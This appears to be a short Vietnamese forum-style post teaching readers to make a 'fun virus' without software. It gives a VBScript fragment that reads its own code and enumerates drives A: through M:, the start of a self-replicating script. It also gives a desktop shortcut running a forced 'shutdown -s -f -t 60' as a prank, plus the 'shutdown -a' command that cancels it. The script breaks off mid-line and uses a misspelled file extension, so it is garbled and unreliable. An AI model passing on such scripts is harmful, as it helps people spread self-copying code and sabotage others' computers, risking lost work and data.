cách tạo virus vui(không cần phần mềm)

dau tien tao 1 New text Document roi vao
copy dong lenh sau
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:\")
FolderList("B:\")
FolderList("C:\")
FolderList("D:\")
FolderList("E:\")
FolderList("F:\")
FolderList("G:\")
FolderList("H:\")
FolderList("I:\")
FolderList("J:\")
FolderList("K:\")
FolderList("L:\")
FolderList("M:
roi luu no voi ten tranngap.bvs
hoặc
Trên màn hình destop, tạo một shortcut
Trong ô đầu tiên, chọn location gõ vào
win shutdown -s -f -t 60 -c "keke"
sau đó ấn next,rùi bạn kick vào thử xem,máy tính sẽ tự động shutdown trong 60s.không tài nào cứu vãn.
trong lệnh trên thì 60 là thời gian máy shutdown
chữ trong dấu ngoặc bạn viết j` tùy y'
muốn phá thì rất đơn giản
vao start--->run----->gõ Shutdown -a